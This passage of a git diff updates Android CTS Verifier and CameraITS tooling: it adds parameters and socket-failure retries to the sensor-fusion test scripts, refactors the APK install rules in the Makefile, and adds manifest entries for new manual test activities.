# Get the shift corresponding to the best (lowest) score.
- candidates = numpy.arange(-50,50.5,0.5).tolist()
+ candidates = numpy.arange(-50, 50.5, 0.5).tolist()
dists = []
for shift in candidates:
times = cam_times + shift*MSEC_TO_NSEC
@@ -187,20 +221,20 @@
i = dists.index(best_corr_dist)
candidates = candidates[i-20:i+21]
dists = dists[i-20:i+21]
- a,b,c = numpy.polyfit(candidates, dists, 2)
+ a, b, c = numpy.polyfit(candidates, dists, 2)
exact_best_shift = -b/(2*a)
if abs(best_shift - exact_best_shift) > 2.0 or a <= 0 or c <= 0:
print "Test failed; bad fit to time-shift curve"
- print "best_shift %f, exact_best_shift %f, a %f, c %f" % (best_shift,
- exact_best_shift, a, c)
- assert(0)
+ print "best_shift %f, exact_best_shift %f, a %f, c %f" % (
+ best_shift, exact_best_shift, a, c)
+ assert 0
xfit = numpy.arange(candidates[0], candidates[-1], 0.05).tolist()
yfit = [a*x*x+b*x+c for x in xfit]
- fig = matplotlib.pyplot.figure()
- pylab.plot(candidates, dists, 'r', label="data")
- pylab.plot(xfit, yfit, 'b', label="fit")
- pylab.plot([exact_best_shift+x for x in [-0.1,0,0.1]], [0,0.01,0], 'b')
+ matplotlib.pyplot.figure()
+ pylab.plot(candidates, dists, "r", label="data")
+ pylab.plot(xfit, yfit, "", label="fit")
+ pylab.plot([exact_best_shift+x for x in [-0.1, 0, 0.1]], [0, 0.01, 0], "b")
pylab.xlabel("Relative horizontal shift between curves (ms)")
pylab.ylabel("Correlation distance")
pylab.legend()
@@ -208,6 +242,7 @@
return exact_best_shift * MSEC_TO_SEC
+
def plot_rotations(cam_rots, gyro_rots):
"""Save a plot of the camera vs. gyro rotational measurements.
@@ -217,17 +252,18 @@
"""
# For the plot, scale the rotations to be in degrees.
scale = 360/(2*math.pi)
- fig = matplotlib.pyplot.figure()
- cam_rots = cam_rots * scale
- gyro_rots = gyro_rots * scale
- pylab.plot(range(len(cam_rots)), cam_rots, 'r', label="camera")
- pylab.plot(range(len(gyro_rots)), gyro_rots, 'b', label="gyro")
+ matplotlib.pyplot.figure()
+ cam_rots *= scale
+ gyro_rots *= scale
+ pylab.plot(range(len(cam_rots)), cam_rots, "r", label="camera")
+ pylab.plot(range(len(gyro_rots)), gyro_rots, "b", label="gyro")
pylab.legend()
pylab.xlabel("Camera frame number")
pylab.ylabel("Angular displacement between adjacent camera frames (deg)")
pylab.xlim([0, len(cam_rots)])
matplotlib.pyplot.savefig("%s_plot.png" % (NAME))
+
def get_gyro_rotations(gyro_events, cam_times):
"""Get the rotation values of the gyro.
@@ -260,7 +296,7 @@
deltatgyro = (tgyro1 - tgyro0) * NSEC_TO_SEC
sgyro += vgyro * deltatgyro
# Handle the fractional intervals at the sides of the window.
- for side,igyro in enumerate([igyrowindow0-1, igyrowindow1]):
+ for side, igyro in enumerate([igyrowindow0-1, igyrowindow1]):
vgyro = all_rots[igyro+1]
tgyro0 = all_times[igyro]
tgyro1 = all_times[igyro+1]
@@ -275,7 +311,8 @@
gyro_rots = numpy.array(gyro_rots)
return gyro_rots
-def get_cam_rotations(frames, facing):
+
+def get_cam_rotations(frames, facing, h):
"""Get the rotations of the camera between each pair of frames.
Takes N frames and returns N-1 angular displacements corresponding to the
@@ -283,6 +320,8 @@
Args:
frames: List of N images (as RGB numpy arrays).
+ facing: Direction camera is facing
+ h: Pixel height of each frame
Returns:
Array of N-1 camera rotation measurements (rad).
@@ -292,14 +331,15 @@
frame = (frame * 255.0).astype(numpy.uint8)
gframes.append(cv2.cvtColor(frame, cv2.COLOR_RGB2GRAY))
rots = []
- ymin = H/2 - FEATURE_MARGIN
- ymax = H/2 + FEATURE_MARGIN
- for i in range(1,len(gframes)):
+
+ ymin = h*(1-FEATURE_MARGIN)/2
+ ymax = h*(1+FEATURE_MARGIN)/2
+ for i in range(1, len(gframes)):
gframe0 = gframes[i-1]
gframe1 = gframes[i]
p0 = cv2.goodFeaturesToTrack(gframe0, mask=None, **FEATURE_PARAMS)
# p0's shape is N * 1 * 2
- mask = (p0[:,0,1] >= ymin) & (p0[:,0,1] <= ymax)
+ mask = (p0[:, 0, 1] >= ymin) & (p0[:, 0, 1] <= ymax)
p0_filtered = p0[mask]
num_features = len(p0_filtered)
if num_features < MIN_FEATURE_PTS:
@@ -318,17 +358,18 @@
rot = math.atan2(tform[0, 1], tform[0, 0])
else:
print "Unknown lens facing", facing
- assert(0)
+ assert 0
rots.append(rot)
if i == 1:
# Save a debug visualization of the features that are being
# tracked in the first frame.
frame = frames[i]
- for x,y in p0_filtered[st==1]:
- cv2.circle(frame, (x,y), 3, (100,100,255), -1)
- its.image.write_image(frame, "%s_features.png"%(NAME))
+ for x, y in p0_filtered[st == 1]:
+ cv2.circle(frame, (x, y), 3, (100, 100, 255), -1)
+ its.image.write_image(frame, "%s_features.png" % NAME)
return numpy.array(rots)
+
def get_cam_times(cam_events):
"""Get the camera frame times.
@@ -342,35 +383,45 @@
"""
# Assign a time to each frame that assumes that the image is instantly
# captured in the middle of its exposure.
- starts = numpy.array([start for start,exptime,readout in cam_events])
- exptimes = numpy.array([exptime for start,exptime,readout in cam_events])
- readouts = numpy.array([readout for start,exptime,readout in cam_events])
+ starts = numpy.array([start for start, exptime, readout in cam_events])
+ exptimes = numpy.array([exptime for start, exptime, readout in cam_events])
+ readouts = numpy.array([readout for start, exptime, readout in cam_events])
frame_times = starts + (exptimes + readouts) / 2.0
return frame_times
+
def load_data():
"""Load a set of previously captured data.
Returns:
events: Dictionary containing all gyro events and cam timestamps.
frames: List of RGB images as numpy arrays.
+ w: Pixel width of frames
+ h: Pixel height of frames
"""
- with open("%s_events.txt"%(NAME), "r") as f:
+ with open("%s_events.txt" % NAME, "r") as f:
events = json.loads(f.read())
n = len(events["cam"])
frames = []
for i in range(n):
- img = Image.open("%s_frame%03d.png"%(NAME,i))
- w,h = img.size[0:2]
- frames.append(numpy.array(img).reshape(h,w,3) / 255.0)
- return events, frames
+ img = Image.open("%s_frame%03d.png" % (NAME, i))
+ w, h = img.size[0:2]
+ frames.append(numpy.array(img).reshape(h, w, 3) / 255.0)
+ return events, frames, w, h
-def collect_data():
+
+def collect_data(fps, w, h, test_length):
"""Capture a new set of data from the device.
Captures both motion data and camera frames, while the user is moving
the device in a proscribed manner.
+ Args:
+ fps: FPS to capture with
+ w: Pixel width of frames
+ h: Pixel height of frames
+ test_length: How long the test should run for (in seconds)
+
Returns:
events: Dictionary containing all gyro events and cam timestamps.
frames: List of RGB images as numpy arrays.
@@ -379,7 +430,7 @@
props = cam.get_camera_properties()
its.caps.skip_unless(its.caps.sensor_fusion(props) and
its.caps.manual_sensor(props) and
- props['android.lens.facing'] != FACING_EXTERNAL)
+ props["android.lens.facing"] != FACING_EXTERNAL)
print "Starting sensor event collection"
cam.start_sensor_events()
@@ -388,21 +439,21 @@
time.sleep(0.5)
# Capture the frames. OIS is disabled for manual captures.
- facing = props['android.lens.facing']
+ facing = props["android.lens.facing"]
if facing != FACING_FRONT and facing != FACING_BACK:
print "Unknown lens facing", facing
- assert(0)
+ assert 0
- fmt = {"format":"yuv", "width":W, "height":H}
- s,e,_,_,_ = cam.do_3a(get_results=True, do_af=False)
+ fmt = {"format": "yuv", "width": w, "height": h}
+ s, e, _, _, _ = cam.do_3a(get_results=True, do_af=False)
req = its.objects.manual_capture_request(s, e)
fps = 30
req["android.lens.focusDistance"] = 1 / (CHART_DISTANCE * CM_TO_M)
req["android.control.aeTargetFpsRange"] = [fps, fps]
req["android.sensor.frameDuration"] = int(1000.0/fps * MSEC_TO_NSEC)
print "Capturing %dx%d with sens. %d, exp. time %.1fms" % (
- W, H, s, e*NSEC_TO_MSEC)
- caps = cam.do_capture([req]*N, fmt)
+ w, h, s, e*NSEC_TO_MSEC)
+ caps = cam.do_capture([req]*fps*test_length, fmt)
# Get the gyro events.
print "Reading out sensor events"
@@ -415,38 +466,42 @@
exptimes = [c["metadata"]["android.sensor.exposureTime"] for c in caps]
readouts = [c["metadata"]["android.sensor.rollingShutterSkew"]
for c in caps]
- events = {"gyro": gyro, "cam": zip(starts,exptimes,readouts),
+ events = {"gyro": gyro, "cam": zip(starts, exptimes, readouts),
"facing": facing}
- with open("%s_events.txt"%(NAME), "w") as f:
+ with open("%s_events.txt" % NAME, "w") as f:
f.write(json.dumps(events))
# Convert the frames to RGB.
print "Dumping frames"
frames = []
- for i,c in enumerate(caps):
+ for i, c in enumerate(caps):
img = its.image.convert_capture_to_rgb_image(c)
frames.append(img)
- its.image.write_image(img, "%s_frame%03d.png"%(NAME,i))
+ its.image.write_image(img, "%s_frame%03d.png" % (NAME, i))
return events, frames
+
def procrustes_rotation(X, Y):
- """
+ """Performs a Procrustes analysis to conform points in X to Y.
+
Procrustes analysis determines a linear transformation (translation,
reflection, orthogonal rotation and scaling) of the points in Y to best
conform them to the points in matrix X, using the sum of squared errors
as the goodness of fit criterion.
Args:
- X, Y: Matrices of target and input coordinates.
+ X: Target coordinate matrix
+ Y: Input coordinate matrix
Returns:
The rotation component of the transformation that maps X to Y.
"""
X0 = (X-X.mean(0)) / numpy.sqrt(((X-X.mean(0))**2.0).sum())
Y0 = (Y-Y.mean(0)) / numpy.sqrt(((Y-Y.mean(0))**2.0).sum())
- U,s,Vt = numpy.linalg.svd(numpy.dot(X0.T, Y0),full_matrices=False)
+ U, _, Vt = numpy.linalg.svd(numpy.dot(X0.T, Y0), full_matrices=False)
return numpy.dot(Vt.T, U.T)
-if __name__ == '__main__':
+
+if __name__ == "__main__":
main()
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index dedc969..57e348a 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -29,6 +29,7 @@
CHART_DELAY = 1 # seconds
CHART_DISTANCE = 30.0 # cm
FACING_EXTERNAL = 2
+NUM_TRYS = 2
SKIP_RET_CODE = 101 # note this must be same as tests/scene*/test_*
def calc_camera_fov():
@@ -47,6 +48,17 @@
return fov
+def evaluate_socket_failure(err_file_path):
+ """Determine if test fails due to socket FAIL."""
+ socket_fail = False
+ with open(err_file_path, 'r') as ferr:
+ for line in ferr:
+ if (line.find('socket.error') != -1 or
+ line.find('Problem with socket') != -1):
+ socket_fail = True
+ return socket_fail
+
+
def skip_sensor_fusion():
"""Determine if sensor fusion test is skipped for this camera."""
@@ -65,17 +77,24 @@
Script should be run from the top-level CameraITS directory.
- Command line Arguments:
- camera: the camera(s) to be tested. Use comma to separate multiple
- camera Ids. Ex: "camera=0,1" or "camera=1"
- scenes: the test scene(s) to be executed. Use comma to separate multiple
- scenes. Ex: "scenes=scene0,scene1" or "scenes=0,1,sensor_fusion"
- (sceneX can be abbreviated by X where X is a integer)
- chart: [Experimental] another android device served as test chart
- display. When this argument presents, change of test scene will
- be handled automatically. Note that this argument requires
- special physical/hardware setup to work and may not work on
- all android devices.
+ Command line arguments:
+ camera: the camera(s) to be tested. Use comma to separate multiple
+ camera Ids. Ex: "camera=0,1" or "camera=1"
+ device: device id for adb
+ scenes: the test scene(s) to be executed. Use comma to separate
+ multiple scenes. Ex: "scenes=scene0,scene1" or
+ "scenes=0,1,sensor_fusion" (sceneX can be abbreviated by X
+ where X is a integer)
+ chart: [Experimental] another android device served as test chart
+ display. When this argument presents, change of test scene
+ will be handled automatically. Note that this argument
+ requires special physical/hardware setup to work and may not
+ work on all android devices.
+ result: Device ID to forward results to (in addition to the device
+ that the tests are running on).
+ rot_rig: [Experimental] ID of the rotation rig being used (formatted as
+ "<vendor ID>:<product ID>:<channel #>" or "default")
+ tmp_dir: location of temp directory for output files
skip_scene_validation: force skip scene validation. Used when test scene
is setup up front and don't require tester validation.
dist: [Experimental] chart distance in cm.
@@ -137,7 +156,7 @@
chart_host_id = None
result_device_id = None
rot_rig_id = None
-
+ tmp_dir = None
skip_scene_validation = False
chart_distance = CHART_DISTANCE
@@ -153,6 +172,8 @@
elif s[:8] == 'rot_rig=' and len(s) > 8:
rot_rig_id = s[8:] # valid values: 'default' or '$VID:$PID:$CH'
# The default '$VID:$PID:$CH' is '04d8:fc73:1'
+ elif s[:8] == 'tmp_dir=' and len(s) > 8:
+ tmp_dir = s[8:]
elif s == 'skip_scene_validation':
skip_scene_validation = True
elif s[:5] == 'dist=' and len(s) > 5:
@@ -196,7 +217,7 @@
results[s] = {result_key: ItsSession.RESULT_NOT_EXECUTED}
# Make output directories to hold the generated files.
- topdir = tempfile.mkdtemp()
+ topdir = tempfile.mkdtemp(dir=tmp_dir)
subprocess.call(['chmod', 'g+rx', topdir])
print "Saving output files to:", topdir, "\n"
@@ -310,7 +331,7 @@
if merge_result_switch and camera_ids[0] == '0':
# Send an input event to keep the screen not dimmed.
# Since we are not using camera of chart screen, FOCUS event
- # should does nothing but keep the screen from dimming.
+ # should do nothing but keep the screen from dimming.
# The "sleep after x minutes of inactivity" display setting
# determines how long this command can keep screen bright.
# Setting it to something like 30 minutes should be enough.
@@ -318,26 +339,38 @@
% chart_host_id)
subprocess.call(cmd.split())
t0 = time.time()
- outdir = os.path.join(topdir, camera_id, scene)
- outpath = os.path.join(outdir, testname+'_stdout.txt')
- errpath = os.path.join(outdir, testname+'_stderr.txt')
- if scene == 'sensor_fusion':
- if skip_code is not SKIP_RET_CODE:
- if rot_rig_id:
- print 'Rotating phone w/ rig %s' % rot_rig_id
- rig = ('python tools/rotation_rig.py rotator=%s' %
- rot_rig_id)
- subprocess.Popen(rig.split())
+ for num_try in range(NUM_TRYS):
+ outdir = os.path.join(topdir, camera_id, scene)
+ outpath = os.path.join(outdir, testname+'_stdout.txt')
+ errpath = os.path.join(outdir, testname+'_stderr.txt')
+ if scene == 'sensor_fusion':
+ if skip_code is not SKIP_RET_CODE:
+ if rot_rig_id:
+ print 'Rotating phone w/ rig %s' % rot_rig_id
+ rig = ('python tools/rotation_rig.py rotator=%s' %
+ rot_rig_id)
+ subprocess.Popen(rig.split())
+ else:
+ print 'Rotate phone 15s as shown in SensorFusion.pdf'
else:
- print 'Rotate phone 15s as shown in SensorFusion.pdf'
+ test_code = skip_code
+ if skip_code is not SKIP_RET_CODE:
+ cmd = ['python', os.path.join(os.getcwd(), testpath)]
+ cmd += sys.argv[1:] + [camera_id_arg]
+ with open(outpath, 'w') as fout, open(errpath, 'w') as ferr:
+ test_code = subprocess.call(
+ cmd, stderr=ferr, stdout=fout, cwd=outdir)
+ if test_code == 0 or test_code == SKIP_RET_CODE:
+ break
else:
- test_code = skip_code
- if skip_code is not SKIP_RET_CODE:
- cmd = ['python', os.path.join(os.getcwd(), testpath)]
- cmd += sys.argv[1:] + [camera_id_arg]
- with open(outpath, 'w') as fout, open(errpath, 'w') as ferr:
- test_code = subprocess.call(
- cmd, stderr=ferr, stdout=fout, cwd=outdir)
+ socket_fail = evaluate_socket_failure(errpath)
+ if socket_fail:
+ if num_try != NUM_TRYS-1:
+ print ' Retry %s/%s' % (scene, testname)
+ else:
+ break
+ else:
+ break
t1 = time.time()
test_failed = False
diff --git a/apps/CameraITS/tools/run_sensor_fusion_box.py b/apps/CameraITS/tools/run_sensor_fusion_box.py
index 6eb8ceb..ec16b3d 100644
--- a/apps/CameraITS/tools/run_sensor_fusion_box.py
+++ b/apps/CameraITS/tools/run_sensor_fusion_box.py
@@ -14,49 +14,80 @@
import os
import os.path
+import re
import subprocess
import sys
import tempfile
import time
import its.device
-# from its.device import ItsSession
+import numpy
-NUM_RUNS = 2
SCENE_NAME = 'sensor_fusion'
SKIP_RET_CODE = 101
TEST_NAME = 'test_sensor_fusion'
TEST_DIR = os.path.join(os.getcwd(), 'tests', SCENE_NAME)
+W, H = 640, 480
+
+# For finding best correlation shifts from test output logs.
+SHIFT_RE = re.compile('^Best correlation of [0-9.]+ at shift of [-0-9.]+ms$')
+# For finding lines that indicate socket issues in failed test runs.
+SOCKET_FAIL_RE = re.compile(
+ r'.*((socket\.(error|timeout))|(Problem with socket)).*')
+
+FPS = 30
+TEST_LENGTH = 7 # seconds
def main():
- """Run all the test_sensor_fusion NUM_RUNS times.
+ """Run test_sensor_fusion NUM_RUNS times.
- Save intermediate files, and producing a summary/report of the results.
+ Save intermediate files and produce a summary/report of the results.
Script should be run from the top-level CameraITS directory.
- Command line Arguments:
- camera: the camera(s) to be tested. Use comma to separate multiple
- camera Ids. Ex: 'camera=0,1' or 'camera=1'
- device: the device id for adb
- rotator: string for rotator id in for vid:pid:ch
+ Command line arguments:
+ camera: Camera(s) to be tested. Use comma to separate multiple
+ camera Ids. Ex: 'camera=0,1' or 'camera=1'
+ device: Device id for adb
+ fps: FPS to capture with during the test
+ img_size: Comma-separated dimensions of captured images (defaults to
+ 640x480). Ex: 'img_size=<width>,<height>'
+ num_runs: Number of times to repeat the test
+ rotator: String for rotator id in for vid:pid:ch
+ test_length: How long the test should run for (in seconds)
+ tmp_dir: Location of temp directory for output files
"""
camera_id = '0'
+ fps = str(FPS)
+ img_size = '%s,%s' % (W, H)
+ num_runs = 1
rotator_ids = 'default'
+ test_length = str(TEST_LENGTH)
+ tmp_dir = None
for s in sys.argv[1:]:
if s[:7] == 'camera=' and len(s) > 7:
camera_id = s[7:]
+ if s[:4] == 'fps=' and len(s) > 4:
+ fps = s[4:]
+ elif s[:9] == 'img_size=' and len(s) > 9:
+ img_size = s[9:]
+ elif s[:9] == 'num_runs=' and len(s) > 9:
+ num_runs = int(s[9:])
elif s[:8] == 'rotator=' and len(s) > 8:
rotator_ids = s[8:]
+ elif s[:12] == 'test_length=' and len(s) > 12:
+ test_length = s[12:]
+ elif s[:8] == 'tmp_dir=' and len(s) > 8:
+ tmp_dir = s[8:]
if camera_id not in ['0', '1']:
print 'Need to specify camera 0 or 1'
sys.exit()
# Make output directories to hold the generated files.
- tmpdir = tempfile.mkdtemp()
+ tmpdir = tempfile.mkdtemp(dir=tmp_dir)
print 'Saving output files to:', tmpdir, '\n'
device_id = its.device.get_device_id()
@@ -68,42 +99,124 @@
rotator_id_arg = 'rotator=' + rotator_ids
print 'Preparing to run sensor_fusion on camera', camera_id
+ img_size_arg = 'img_size=' + img_size
+ print 'Image dimensions are ' + 'x'.join(img_size.split(','))
+
+ fps_arg = 'fps=' + fps
+ test_length_arg = 'test_length=' + test_length
+
os.mkdir(os.path.join(tmpdir, camera_id))
- # Run test multiple times, capturing stdout and stderr.
- numpass = 0
- numfail = 0
- numskip = 0
- for i in range(NUM_RUNS):
+ # Run test "num_runs" times, capturing stdout and stderr.
+ num_pass = 0
+ num_fail = 0
+ num_skip = 0
+ num_socket_fails = 0
+ num_non_socket_fails = 0
+ shift_list = []
+ for i in range(num_runs):
os.mkdir(os.path.join(tmpdir, camera_id, SCENE_NAME+'_'+str(i)))
- cmd = ('python tools/rotation_rig.py rotator=%s' % rotator_ids)
+ cmd = 'python tools/rotation_rig.py rotator=%s' % rotator_ids
subprocess.Popen(cmd.split())
cmd = ['python', os.path.join(TEST_DIR, TEST_NAME+'.py'),
- device_id_arg, camera_id_arg, rotator_id_arg]
+ device_id_arg, camera_id_arg, rotator_id_arg, img_size_arg,
+ fps_arg, test_length_arg]
outdir = os.path.join(tmpdir, camera_id, SCENE_NAME+'_'+str(i))
outpath = os.path.join(outdir, TEST_NAME+'_stdout.txt')
errpath = os.path.join(outdir, TEST_NAME+'_stderr.txt')
t0 = time.time()
with open(outpath, 'w') as fout, open(errpath, 'w') as ferr:
retcode = subprocess.call(
- cmd, stderr=ferr, stdout=fout, cwd=outdir)
+ cmd, stderr=ferr, stdout=fout, cwd=outdir)
t1 = time.time()
if retcode == 0:
retstr = 'PASS '
- numpass += 1
+ time_shift = find_time_shift(outpath)
+ shift_list.append(time_shift)
+ num_pass += 1
elif retcode == SKIP_RET_CODE:
retstr = 'SKIP '
- numskip += 1
+ num_skip += 1
else:
retstr = 'FAIL '
- numfail += 1
+ time_shift = find_time_shift(outpath)
+ if time_shift is None:
+ if is_socket_fail(errpath):
+ num_socket_fails += 1
+ else:
+ num_non_socket_fails += 1
+ else:
+ shift_list.append(time_shift)
+ num_fail += 1
msg = '%s %s/%s [%.1fs]' % (retstr, SCENE_NAME, TEST_NAME, t1-t0)
print msg
- test_result = '%d / %d tests passed (%.1f%%)' % (
- numpass+numskip, NUM_RUNS, 100.0*float(numpass+numskip)/NUM_RUNS)
- print test_result
+ if num_pass == 1:
+ print 'Best shift is %sms' % shift_list[0]
+ elif num_pass > 1:
+ shift_arr = numpy.array(shift_list)
+ mean, std = numpy.mean(shift_arr), numpy.std(shift_arr)
+ print 'Best shift mean is %sms with std. dev. of %sms' % (mean, std)
+
+ pass_percentage = 100*float(num_pass+num_skip)/num_runs
+ print '%d / %d tests passed (%.1f%%)' % (num_pass+num_skip,
+ num_runs,
+ pass_percentage)
+
+ if num_socket_fails != 0:
+ print '%s failure(s) due to socket issues' % num_socket_fails
+ if num_non_socket_fails != 0:
+ print '%s non-socket failure(s)' % num_non_socket_fails
+
+
+def is_socket_fail(err_file_path):
+ """Search through a test run's stderr log for any mention of socket issues.
+
+ Args:
+ err_file_path: File path for stderr logs to search through
+
+ Returns:
+ True if the test run failed and it was due to socket issues. Otherwise,
+ False.
+ """
+ return find_matching_line(err_file_path, SOCKET_FAIL_RE) is not None
+
+
+def find_time_shift(out_file_path):
+ """Search through a test run's stdout log for the best time shift.
+
+ Args:
+ out_file_path: File path for stdout logs to search through
+
+ Returns:
+ The best time shift, if one is found. Otherwise, returns None.
+ """
+ line = find_matching_line(out_file_path, SHIFT_RE)
+ if line is None:
+ return None
+ else:
+ words = line.split(' ')
+ # Get last word and strip off 'ms\n' before converting to a float.
+ return float(words[-1][:-3])
+
+
+def find_matching_line(file_path, regex):
+ """Search each line in the file at 'file_path' for a line matching 'regex'.
+
+ Args:
+ file_path: File path for file being searched
+ regex: Regex used to match against lines
+
+ Returns:
+ The first matching line. If none exists, returns None.
+ """
+ with open(file_path) as f:
+ for line in f:
+ if regex.match(line):
+ return line
+ return None
+
if __name__ == '__main__':
main()
diff --git a/apps/CameraITS/tools/validate_scene.py b/apps/CameraITS/tools/validate_scene.py
index cfe14e2..1c0f0fd 100644
--- a/apps/CameraITS/tools/validate_scene.py
+++ b/apps/CameraITS/tools/validate_scene.py
@@ -49,8 +49,9 @@
" to frame the test scene: " + scene_name +
"\nThe scene setup should be: " + scene_desc )
# Converge 3A prior to capture.
- cam.do_3a(do_af=do_af, lock_ae=True, lock_awb=True)
props = cam.get_camera_properties()
+ cam.do_3a(do_af=do_af, lock_ae=its.caps.ae_lock(props),
+ lock_awb=its.caps.awb_lock(props))
req = its.objects.fastest_auto_capture_request(props)
if its.caps.ae_lock(props):
req["android.control.awbLock"] = True
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
index e6e044d..ff45fb5 100644
--- a/apps/CtsVerifier/Android.mk
+++ b/apps/CtsVerifier/Android.mk
@@ -40,6 +40,8 @@
compatibility-device-util \
platform-test-annotations
+LOCAL_JAVA_LIBRARIES := legacy-android-test
+
LOCAL_PACKAGE_NAME := CtsVerifier
LOCAL_JNI_SHARED_LIBRARIES := libctsverifier_jni \
@@ -51,7 +53,7 @@
LOCAL_SDK_VERSION := test_current
LOCAL_DEX_PREOPT := false
-
+-include cts/error_prone_rules_tests.mk
include $(BUILD_PACKAGE)
# Build CTS verifier framework as a libary.
@@ -71,7 +73,6 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
LOCAL_SRC_FILES := \
$(call java-files-in, src/com/android/cts/verifier) \
- $(call java-files-in, src/com/android/cts/verifier/backup) \
$(call all-Iaidl-files-under, src)
LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 \
@@ -88,20 +89,32 @@
include $(BUILD_MULTI_PREBUILT)
-notification-bot := $(call intermediates-dir-for,APPS,NotificationBot)/package.apk
-permission-app := $(call intermediates-dir-for,APPS,CtsPermissionApp)/package.apk
-usb-companion := $(call intermediates-dir-for,APPS,CtsVerifierUSBCompanion)/package.apk
-empty-device-admin := $(call intermediates-dir-for,APPS,CtsEmptyDeviceAdmin)/package.apk
-empty-device-owner := $(call intermediates-dir-for,APPS,CtsEmptyDeviceOwner)/package.apk
+pre-installed-apps := \
+ CtsEmptyDeviceAdmin \
+ CtsEmptyDeviceOwner \
+ CtsPermissionApp \
+ NotificationBot
+
+other-required-apps := \
+ CtsVerifierUSBCompanion \
+ CtsVpnFirewallAppApi23 \
+ CtsVpnFirewallAppApi24 \
+ CtsVpnFirewallAppNotAlwaysOn
+
+apps-to-include := \
+ $(pre-installed-apps) \
+ $(other-required-apps)
+
+define apk-location-for
+ $(call intermediates-dir-for,APPS,$(1))/package.apk
+endef
# Builds and launches CTS Verifier on a device.
.PHONY: cts-verifier
-cts-verifier: CtsVerifier adb NotificationBot CtsPermissionApp CtsEmptyDeviceAdmin CtsEmptyDeviceOwner
+cts-verifier: CtsVerifier adb $(pre-installed-apps)
adb install -r $(PRODUCT_OUT)/data/app/CtsVerifier/CtsVerifier.apk \
- && adb install -r $(notification-bot) \
- && adb install -r $(permission-app) \
- && adb install -r $(empty-device-admin) \
- && adb install -r -t $(empty-device-owner) \
+ $(foreach app,$(pre-installed-apps), \
+ && adb install -r -t $(call apk-location-for,$(app))) \
&& adb shell "am start -n com.android.cts.verifier/.CtsVerifierActivity"
#
@@ -134,19 +147,12 @@
cts : $(verifier-zip)
$(verifier-zip) : $(HOST_OUT)/CameraITS
-$(verifier-zip) : $(notification-bot)
-$(verifier-zip) : $(permission-app)
-$(verifier-zip) : $(usb-companion)
-$(verifier-zip) : $(empty-device-admin)
-$(verifier-zip) : $(empty-device-owner)
+$(verifier-zip) : $(foreach app,$(apps-to-include),$(call apk-location-for,$(app)))
$(verifier-zip) : $(call intermediates-dir-for,APPS,CtsVerifier)/package.apk | $(ACP)
$(hide) mkdir -p $(verifier-dir)
$(hide) $(ACP) -fp $< $(verifier-dir)/CtsVerifier.apk
- $(ACP) -fp $(notification-bot) $(verifier-dir)/NotificationBot.apk
- $(ACP) -fp $(permission-app) $(verifier-dir)/CtsPermissionApp.apk
- $(ACP) -fp $(usb-companion) $(verifier-dir)/CtsVerifierUSBCompanion.apk
- $(ACP) -fp $(empty-device-admin) $(verifier-dir)/CtsEmptyDeviceAdmin.apk
- $(ACP) -fp $(empty-device-owner) $(verifier-dir)/CtsEmptyDeviceOwner.apk
+ $(foreach app,$(apps-to-include), \
+ $(ACP) -fp $(call apk-location-for,$(app)) $(verifier-dir)/$(app).apk;)
$(hide) $(ACP) -fpr $(HOST_OUT)/CameraITS $(verifier-dir)
$(hide) cd $(cts-dir) && zip -rq $(verifier-dir-name) $(verifier-dir-name)
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 1c2b897..d895ca7 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -18,9 +18,9 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.cts.verifier"
android:versionCode="5"
- android:versionName="8.0_r12">
+ android:versionName="8.1_r8">
- <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="26"/>
+ <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="27"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
@@ -268,6 +268,8 @@
<meta-data
android:name="test_parent"
android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.watch" />
</activity>
<!--
@@ -291,6 +293,8 @@
<meta-data
android:name="test_parent"
android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.watch" />
</activity>
<!--
@@ -314,6 +318,8 @@
<meta-data
android:name="test_parent"
android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.watch" />
</activity>
<!--
@@ -337,6 +343,8 @@
<meta-data
android:name="test_parent"
android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.watch" />
</activity>
<!--
@@ -1075,6 +1083,17 @@
<meta-data android:name="test_required_features" android:value="android.hardware.location.gps" />
</activity>
+ <activity android:name=".location.GnssPseudorangeVerificationTestsActivity"
+ android:label="@string/location_pseudorange_value_test"
+ android:screenOrientation="locked">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.cts.intent.category.MANUAL_TEST"/>
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_hardware"/>
+ <meta-data android:name="test_required_features" android:value="android.hardware.location.gps" />
+ </activity>
+
<activity android:name=".location.GnssTtffTestsActivity"
android:label="@string/location_gnss_ttff_test"
android:screenOrientation="locked">
@@ -1668,7 +1687,6 @@
<category android:name="android.cts.intent.category.MANUAL_TEST" />
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_camera" />
- <meta-data android:name="test_required_features" android:value="android.hardware.sensor.gyroscope" />
<meta-data android:name="test_required_features" android:value="android.hardware.camera.any"/>
</activity>
<activity
@@ -2305,6 +2323,14 @@
</intent-filter>
</service>
+ <activity android:name=".managedprovisioning.AlwaysOnVpnSettingsTestActivity"
+ android:label="@string/provisioning_byod_always_on_vpn">
+ <intent-filter>
+ <action android:name="com.android.cts.verifier.managedprovisioning.action.ALWAYS_ON_VPN_SETTINGS_TEST" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </activity>
+
<activity android:name=".managedprovisioning.PermissionLockdownTestActivity"
